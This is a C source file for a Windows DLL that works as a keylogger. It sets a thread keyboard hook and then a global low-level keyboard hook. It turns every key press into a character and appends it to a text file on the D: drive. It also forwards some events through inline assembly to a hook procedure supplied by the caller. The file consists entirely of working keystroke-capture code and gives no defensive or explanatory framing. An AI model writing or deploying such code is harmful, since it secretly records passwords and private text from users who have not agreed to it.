#define	_WIN32_WINNT 0x500

#include<windows.h>
#include<stdio.h>

#pragma data_seg(".share" )
HWND	hwnd = NULL;
HHOOK	hHook = 0;
HHOOK	hQHook = 0;
BOOL	bShiftDown = FALSE;
HINSTANCE	hInstance = 0;
DWORD	threadId = 0;
int		q_hook_proc	= 0;
#pragma data_seg()


int APIENTRY DllMain( HMODULE hModule,
					 DWORD dwReason,
					 LPVOID lpReserved)
{
	hInstance = hModule;
	return 1;
}
LRESULT	CALLBACK filter( int nCode, WPARAM wParam,	LPARAM lParam )
{
	int retvalue;
	FILE	*fp;
	KBDLLHOOKSTRUCT	*p;
	WORD	ch;
	BYTE	keystate[ 256 ] = {0};

	p = (KBDLLHOOKSTRUCT *)lParam;
	if( p->flags == 0x10 || p->flags == 0x90 )
	{
		_asm
		{
			push lParam
			push wParam
			push nCode
			mov eax,q_hook_proc
			call eax
			mov retvalue,eax
		}
		return retvalue;
	}
	if( p->vkCode == VK_SHIFT || p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT )
	{
		if( (p->flags & LLKHF_UP ) == 0 )
			bShiftDown = TRUE;
		else
			bShiftDown = FALSE;
	}
	if( (p->flags & LLKHF_UP) == 0 ){
		fp = fopen("d:\\inf.txt","a+");
		GetKeyboardState( keystate );
		if( bShiftDown)
			keystate[ VK_SHIFT ] = 0x80;
		else
			keystate[ VK_SHIFT ] = 0;

		ToAscii( p->vkCode,p->scanCode,keystate,&ch,0 );
		fprintf(fp, "%c",ch );
		fclose(fp);
			
	}
			
	_asm
	{
		push lParam
		push wParam
		push nCode
		mov eax,q_hook_proc
		call eax
		mov retvalue,eax
	}
	return retvalue;
}
LRESULT CALLBACK Lock( int dwCode , WPARAM wParam , LPARAM lParam )
{
	if( hQHook == 0 ){
		hQHook = SetWindowsHookEx( WH_KEYBOARD_LL,filter,0,0 );
		if( hQHook == 0 )
			MessageBox( NULL,"failed","hook",MB_OK );
	}

	return 	CallNextHookEx( hHook,dwCode,wParam,lParam );
}

int InstallHook( HWND MainHwnd, DWORD	hookProc)
{
	hwnd = MainHwnd;
	threadId = GetWindowThreadProcessId( hwnd,NULL );
	hHook = SetWindowsHookEx( WH_KEYBOARD , Lock,hInstance , threadId );
	if( hHook == 0 )
		MessageBox( NULL,"hook failed!","hook",MB_OK );
	q_hook_proc = hookProc;
	return (int)hHook;
}
int UnInstallHook()
{
	UnhookWindowsHookEx( hQHook );
	UnhookWindowsHookEx( hHook );
	return 0;
}

